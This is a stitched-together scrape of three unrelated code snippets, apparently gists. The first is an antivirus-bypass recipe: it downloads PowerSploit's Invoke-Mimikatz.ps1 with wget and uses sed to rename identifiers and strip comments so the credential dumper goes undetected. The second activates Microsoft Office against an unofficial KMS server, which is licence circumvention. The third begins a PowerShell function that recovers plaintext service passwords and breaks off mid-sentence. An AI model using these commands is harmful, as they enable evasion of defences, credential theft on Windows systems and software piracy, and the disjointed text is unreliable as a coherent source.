PaulSec

# AV Bypass to run Mimikatz
# From: https://www.blackhillsinfosec.com/?p=5555

# Server side:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1

mokoshalb

cd\Program Files\Microsoft Office\Office16


cd\Program Files (x86)\Microsoft Office\Office16

cscript OSPP.VBS /sethst:kms.digiboy.ir
cscript OSPP.VBS /actcscript OSPP.VBS /dstatus


slmgr.vbs /ckms

jborean93

# Copyright: (c) 2019, Jordan Borean (@jborean93) <[email protected]>
# MIT License (see LICENSE or https://opensource.org/licenses/MIT)

Function Get-ServiceCredential {
    <#
    .SYNOPSIS
    Retrieve the username and plaintext password for all services installed on the local computer.

    .DESCRIPTION
    Will retrieve the username and plaintext password for the service(s) specified. This must be run as an